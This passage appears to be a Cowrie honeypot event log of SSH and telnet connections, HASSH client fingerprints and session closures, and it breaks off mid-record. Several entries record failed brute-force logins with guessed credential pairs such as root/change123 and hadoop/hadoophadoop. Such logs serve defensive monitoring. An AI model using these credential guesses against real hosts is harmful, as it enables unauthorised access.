{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:37.610274Z","src_ip":"72.253.251.7","session":"4fc964643621","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":39398,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef58188e3edf","protocol":"telnet","message":"New connection: 148.230.134.28:39398 (159.203.135.109:23) [session: ef58188e3edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:40.044340Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":59532,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc47fa5f86d9","protocol":"ssh","message":"New connection: 186.4.240.226:59532 (10.17.0.5:22) [session: fc47fa5f86d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:40.172067Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":13108,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4b90dd410fb","protocol":"ssh","message":"New connection: 194.59.206.2:13108 (159.203.135.109:22) [session: c4b90dd410fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:40.177294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:40.180785Z","src_ip":"186.4.240.226","session":"fc47fa5f86d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:40.269511Z","src_ip":"186.4.240.226","session":"fc47fa5f86d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"change123","message":"login attempt [root/change123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:40.655943Z","src_ip":"186.4.240.226","session":"fc47fa5f86d9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:40.697531Z","src_ip":"194.59.206.2","session":"c4b90dd410fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:40.807020Z","src_ip":"194.59.206.2","session":"c4b90dd410fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.621637105941772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:40.961754Z","src_ip":"148.230.134.28","session":"be6acbad9644","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.977291584014893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:41.001537Z","src_ip":"148.230.134.28","session":"929c85f4029f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25399661064148,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:41.005984Z","src_ip":"148.230.134.28","session":"6d70b159a58b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:41.748850Z","src_ip":"186.4.240.226","session":"fc47fa5f86d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":39410,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9e3a6921987","protocol":"telnet","message":"New connection: 148.230.134.28:39410 (159.203.135.109:23) [session: d9e3a6921987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:41.965721Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:41.983670Z","src_ip":"194.59.206.2","session":"c4b90dd410fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.585123777389526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:42.175844Z","src_ip":"148.230.134.28","session":"89144883141f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.13015818595886,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:42.527948Z","src_ip":"148.230.134.28","session":"3fe2b3b58f29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":48028,"dst_ip":"159.203.135.109","dst_port":23,"session":"80f2e42740e4","protocol":"telnet","message":"New connection: 148.230.134.28:48028 (159.203.135.109:23) [session: 80f2e42740e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:44.000426Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60302,"dst_ip":"10.17.0.5","dst_port":23,"session":"39b91d736556","protocol":"telnet","message":"New connection: 137.184.155.248:60302 (10.17.0.5:23) [session: 39b91d736556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:50.363186Z"}
{"eventid":"cowrie.session.closed","duration":30.90501570701599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:53.373116Z","src_ip":"187.188.181.103","session":"540693a502f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17663025856018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:53.766717Z","src_ip":"187.188.181.103","session":"9e94cc074c99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":48236,"dst_ip":"159.203.135.109","dst_port":22,"session":"6802bfffa884","protocol":"ssh","message":"New connection: 202.125.94.71:48236 (159.203.135.109:22) [session: 6802bfffa884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:53.936596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:53.941355Z","src_ip":"202.125.94.71","session":"6802bfffa884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:54.206748Z","src_ip":"202.125.94.71","session":"6802bfffa884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456abc","message":"login attempt [dev/123456abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:55.305364Z","src_ip":"202.125.94.71","session":"6802bfffa884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.380131244659424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:55.781910Z","src_ip":"187.188.181.103","session":"7fa9eca713d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.667190074920654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:56.447118Z","src_ip":"187.188.181.103","session":"c2ea05290dfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:56.571509Z","src_ip":"202.125.94.71","session":"6802bfffa884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":51542,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e3212bf71f4","protocol":"telnet","message":"New connection: 137.184.155.248:51542 (10.17.0.5:23) [session: 8e3212bf71f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:56.619581Z"}
{"eventid":"cowrie.session.closed","duration":31.201155424118042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:27:58.187005Z","src_ip":"187.188.181.103","session":"e0fb32f54603","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.210130214691162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:04.767169Z","src_ip":"187.188.181.103","session":"f3511d3e4283","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.183151960372925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:05.266235Z","src_ip":"148.230.134.28","session":"17404d45b8eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":45082,"dst_ip":"10.17.0.5","dst_port":22,"session":"947370f72749","protocol":"ssh","message":"New connection: 58.186.20.101:45082 (10.17.0.5:22) [session: 947370f72749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:05.639231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:05.644563Z","src_ip":"58.186.20.101","session":"947370f72749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.237.192.125","src_port":26305,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c2ce80dfb79","protocol":"telnet","message":"New connection: 89.237.192.125:26305 (10.17.0.5:23) [session: 7c2ce80dfb79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:05.771242Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:05.896844Z","src_ip":"58.186.20.101","session":"947370f72749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.29894518852234,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:06.249647Z","src_ip":"148.230.134.28","session":"430c7dbf3059","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.491784811019897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:06.541712Z","src_ip":"148.230.134.28","session":"bdfc1be733a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":54140,"dst_ip":"159.203.135.109","dst_port":23,"session":"0947093faac9","protocol":"telnet","message":"New connection: 148.230.134.28:54140 (159.203.135.109:23) [session: 0947093faac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:06.985746Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":41366,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d4fb572dfa4","protocol":"telnet","message":"New connection: 137.184.155.248:41366 (10.17.0.5:23) [session: 4d4fb572dfa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:07.889099Z"}
{"eventid":"cowrie.session.closed","duration":31.854512929916382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:08.058611Z","src_ip":"148.230.134.28","session":"3072b42d4e5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.425915002822876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:08.535280Z","src_ip":"148.230.134.28","session":"deb1c2979a91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":54152,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8467f35eb51","protocol":"telnet","message":"New connection: 148.230.134.28:54152 (159.203.135.109:23) [session: d8467f35eb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:08.959025Z"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoophadoop","message":"login attempt [hadoop/hadoophadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:09.934502Z","src_ip":"58.186.20.101","session":"947370f72749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":45586,"dst_ip":"10.17.0.5","dst_port":22,"session":"256eee7c10fe","protocol":"ssh","message":"New connection: 190.244.39.232:45586 (10.17.0.5:22) [session: 256eee7c10fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:10.904795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:10.912507Z","src_ip":"190.244.39.232","session":"256eee7c10fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:11.110140Z","src_ip":"190.244.39.232","session":"256eee7c10fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.51896095275879,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:11.563139Z","src_ip":"148.230.134.28","session":"ef58188e3edf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:11.770714Z","src_ip":"58.186.20.101","session":"947370f72749","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver","password":"pass","message":"login attempt [gmodserver/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:11.889925Z","src_ip":"190.244.39.232","session":"256eee7c10fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:13.085071Z","src_ip":"190.244.39.232","session":"256eee7c10fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.562313079833984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:15.562603Z","src_ip":"148.230.134.28","session":"80f2e42740e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.230565547943115,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:19.001686Z","src_ip":"89.237.192.125","session":"7c2ce80dfb79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":49386,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5a1890ff199","protocol":"ssh","message":"New connection: 41.86.34.139:49386 (10.17.0.5:22) [session: b5a1890ff199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:20.445867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:20.451655Z","src_ip":"41.86.34.139","session":"b5a1890ff199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 